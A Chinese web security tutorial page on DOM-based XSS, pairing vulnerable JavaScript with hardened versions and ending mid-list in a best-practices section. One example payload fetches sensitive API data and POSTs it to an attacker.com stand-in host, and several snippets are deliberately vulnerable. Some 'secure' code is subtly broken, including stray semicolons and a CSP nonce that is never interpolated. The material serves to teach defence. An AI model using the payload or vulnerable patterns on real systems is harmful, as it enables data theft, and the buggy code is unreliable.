元素码农
基础
UML建模
数据结构
算法
设计模式
网络
TCP/IP协议
HTTPS安全机制
WebSocket实时通信
数据库
sqlite
postgresql
clickhouse
后端
rust
go
java
php
mysql
redis
mongodb
etcd
nats
zincsearch
前端
浏览器
javascript
typescript
vue3
react
游戏
unity
unreal
C++
C#
Lua
App
android
ios
flutter
react-native
安全
Web安全
测试
软件测试
自动化测试 - Playwright
人工智能
Python
langChain
langGraph
运维
linux
docker
工具
git
svn
🌞
🌙
目录
▶
注入攻击与防御
SQL注入原理与利用
SQL注入防御策略
NoSQL注入技术分析
命令注入漏洞实战
ORM框架注入问题
注入攻击自动化检测
▶
认证与会话安全
会话固定与会话劫持
密码存储与加密策略
多因素认证机制
OAuth2.0安全实践
JWT安全攻防
认证逻辑漏洞挖掘
▶
XSS攻击与防御
XSS攻击原理与分类
存储型XSS实战案例
DOM型XSS高级利用
XSS过滤器绕过技术
CSP内容安全策略
前端框架XSS防护
▶
CSRF与点击劫持
CSRF攻击原理演示
CSRF Token防御实践
点击劫持技术剖析
SameSite Cookie策略
框架内置防护机制
跨域资源安全策略
▶
文件安全攻防
文件上传漏洞利用
安全文件类型验证
路径遍历漏洞实战
文件包含漏洞防御
Office文档攻击解析
云存储安全配置
▶
其他Web攻击技术
SSRF漏洞利用与防御
XXE漏洞攻防实战
反序列化漏洞原理
业务逻辑漏洞挖掘
HTTP请求走私攻击
Web缓存投毒攻击
发布时间:
2025-03-23 13:07
↑
☰
# DOM型XSS高级利用 ## DOM型XSS原理 DOM型XSS(DOM-based XSS)是一种特殊的跨站脚本攻击,它的特点是攻击代码不需要经过服务器,而是直接在客户端执行。攻击者通过修改页面DOM环境来实现攻击,这使得传统的服务器端防御措施难以发挥作用。 ## 常见攻击场景 ### 1. URL参数操作 ```javascript // 不安全的URL参数处理 class URLHandler { constructor() { this.initializeHandlers(); } initializeHandlers() { // 直接从URL获取参数并插入DOM const params = new URLSearchParams(location.search); document.getElementById('welcome').innerHTML = `Welcome, ${params.get('name')}!`; // 不安全的hash处理 window.addEventListener('hashchange', () => { document.getElementById('content').innerHTML = decodeURIComponent(location.hash.slice(1)); }); } } // 安全的实现 class SecureURLHandler { constructor() { this.initializeHandlers(); } initializeHandlers() { const params = new URLSearchParams(location.search); const name = this.sanitizeInput(params.get('name')); document.getElementById('welcome').textContent = `Welcome, ${name}!`; window.addEventListener('hashchange', () => { const content = this.sanitizeInput( decodeURIComponent(location.hash.slice(1)) ); document.getElementById('content').textContent = content; }); } sanitizeInput(input) { return DOMPurify.sanitize(input, { ALLOWED_TAGS: [], ALLOWED_ATTR: [] }); } } ``` ### 2. 动态脚本注入 ```javascript // 不安全的动态脚本加载 class ScriptLoader { loadScript(url) { // 直接将URL注入到script标签 const script = document.createElement('script'); script.src = url; document.head.appendChild(script); } loadInlineScript(code) { // 直接执行用户提供的代码 eval(code); } } // 安全的实现 class SecureScriptLoader { constructor() { // 白名单域名 this.allowedDomains = [ 'trusted-cdn.com', 'api.company.com' ]; } loadScript(url) { const urlObj = new URL(url); // 检查域名是否在白名单中 if (!this.allowedDomains.includes(urlObj.hostname)) { throw new Error('Domain not allowed'); } // 使用CSP nonce const script = document.createElement('script'); script.src = url; script.nonce = this.getNonce(); document.head.appendChild(script); } getNonce() { return document .querySelector('meta[name="csp-nonce"]') ?.getAttribute('content'); } } ``` ### 3. 模板注入 ```javascript // 不安全的模板实现 class TemplateEngine { compile(template, data) { // 直接替换模板变量 return template.replace(/\${([^}]+)}/g, (match, key) => data[key]); } render(template, data) { const html = this.compile(template, data); document.getElementById('output').innerHTML = html; } } // 安全的实现 class SecureTemplateEngine { constructor() { // 使用安全的模板引擎 this.engine = Handlebars; // 注册安全的辅助函数 this.registerHelpers(); } registerHelpers() { Handlebars.registerHelper('escape', (text) => { return new Handlebars.SafeString( DOMPurify.sanitize(text) ); }); } compile(template) { return this.engine.compile(template); } render(template, data) { const compiledTemplate = this.compile(template); const html = compiledTemplate(data); document.getElementById('output').innerHTML = html; } } ``` ## 高级利用技术 ### 1. 事件处理器注入 ```javascript // 事件处理器攻击向量 class EventHandlerExploit { static demoVulnerability() { // 不安全:直接将用户输入作为事件处理器 const handler = new URLSearchParams(location.search) .get('handler'); const element = document.createElement('button'); element.setAttribute('onclick', handler); document.body.appendChild(element); } static exploit() { // 攻击载荷示例 const payload = ` fetch('/api/sensitive-data') .then(r => r.json()) .then(data => { fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(data) }); }); `; // URL编码后的攻击载荷 return encodeURIComponent(payload); } } // 安全的实现 class SecureEventHandler { constructor() { this.allowedHandlers = new Set([ 'handleClick', 'handleSubmit' ]); } attachHandler(element, event, handler) { if (!this.allowedHandlers.has(handler)) { throw new Error('Handler not allowed'); } element.addEventListener(event, this[handler].bind(this)); } } ``` ### 2. 原型链污染 ```javascript // 原型链污染漏洞 class ConfigManager { constructor() { this.config = {}; } // 不安全:直接合并用户输入到配置对象 merge(userConfig) { for (let key in userConfig) { if (typeof userConfig[key] === 'object') { this.config[key] = this.merge( this.config[key] || {}, userConfig[key] ); } else { this.config[key] = userConfig[key]; } } return this.config; } } // 安全的实现 class SecureConfigManager { constructor() { this.config = Object.create(null); } merge(userConfig) { // 创建新对象避免原型链污染 const sanitizedConfig = JSON.parse( JSON.stringify(userConfig) ); // 使用Object.assign避免递归合并 Object.assign(this.config, sanitizedConfig); // 冻结配置对象 Object.freeze(this.config); return this.config; } } ``` ### 3. 客户端模板注入 ```javascript // 客户端模板注入漏洞 class TemplateRenderer { constructor() { this.templates = { user: '${user.name} <${user.email}>', message: '${message.content} - ${message.author}' }; } // 不安全:允许用户提供自定义模板 render(templateName, data) { const template = this.templates[templateName] || templateName; return new Function('data', `with(data) { return \`${template}\`; }` )(data); } } // 安全的实现 class SecureTemplateRenderer { constructor() { this.templates = new Map(); this.initializeTemplates(); } initializeTemplates() { // 预编译所有模板 this.templates.set('user', Handlebars.compile('{{escape user.name}} <{{escape user.email}}>'); ); this.templates.set('message', Handlebars.compile('{{escape message.content}} - {{escape message.author}}'); ); } render(templateName, data) { const template = this.templates.get(templateName); if (!template) { throw new Error('Template not found'); } return template(data); } } ``` ## 防护措施 ### 1. 输入验证 ```javascript // 输入验证工具 class InputValidator { static validateURL(url) { try { const urlObj = new URL(url); return [ 'http:', 'https:' ].includes(urlObj.protocol); } catch { return false; } } static validateHTML(input) { return DOMPurify.sanitize(input, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong'], ALLOWED_ATTR: [], ALLOW_DATA_ATTR: false, USE_PROFILES: { html: true } }); } static validateJSON(input) { try { const parsed = JSON.parse(input); return this.sanitizeObject(parsed); } catch { return null; } } static sanitizeObject(obj) { if (typeof obj !== 'object' || obj === null) { return obj; } const clean = Array.isArray(obj) ? [] : {}; for (let key in obj) { if (obj.hasOwnProperty(key)) { clean[key] = this.sanitizeObject(obj[key]); } } return clean; } } ``` ### 2. DOM操作安全 ```javascript // 安全的DOM操作工具 class DOMSanitizer { static setTextContent(element, content) { element.textContent = content; } static setHTML(element, html) { const clean = DOMPurify.sanitize(html, { ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong'], ALLOWED_ATTR: ['class', 'id'], ALLOW_DATA_ATTR: false }); element.innerHTML = clean; } static createElement(tag, attributes = {}) { const element = document.createElement(tag); for (let [key, value] of Object.entries(attributes)) { if (this.isValidAttribute(key, value)) { element.setAttribute(key, value); } } return element; } static isValidAttribute(name, value) { const allowedAttrs = new Set([ 'class', 'id', 'style', 'href', 'src', 'alt' ]); if (!allowedAttrs.has(name)) { return false; } if (name === 'href' || name === 'src') { return InputValidator.validateURL(value); } return true; } } ``` ### 3. CSP配置 ```javascript // CSP配置助手 class CSPManager { constructor() { this.policies = new Map(); this.initializeDefaultPolicies(); } initializeDefaultPolicies() { this.policies.set('default-src', ["'self'"]); this.policies.set('script-src', [ "'self'", "'strict-dynamic'", "'nonce-${this.generateNonce()}'" ]); this.policies.set('style-src', ["'self'"]); this.policies.set('img-src', ["'self'", 'data:']); this.policies.set('connect-src', ["'self'"]); this.policies.set('frame-src', ["'none'"]); this.policies.set('object-src', ["'none'"]); } generateNonce() { return crypto.getRandomValues( new Uint8Array(16) ).join(''); } addPolicy(directive, source) { const sources = this.policies.get(directive) || []; sources.push(source); this.policies.set(directive, sources); } generateHeader() { const policies = []; for (let [directive, sources] of this.policies) { policies.push( `${directive} ${sources.join(' ')}` ); } return policies.join('; '); } } ``` ## 最佳实践 1. 输入处理 - 始终验证用户输入 - 使用白名单验证 - 对不同上下文使用不同的验证规则 2. DOM操作 - 优先使用textContent - 必要时使用安全的DOM API - 避免直接操作innerHTML 3.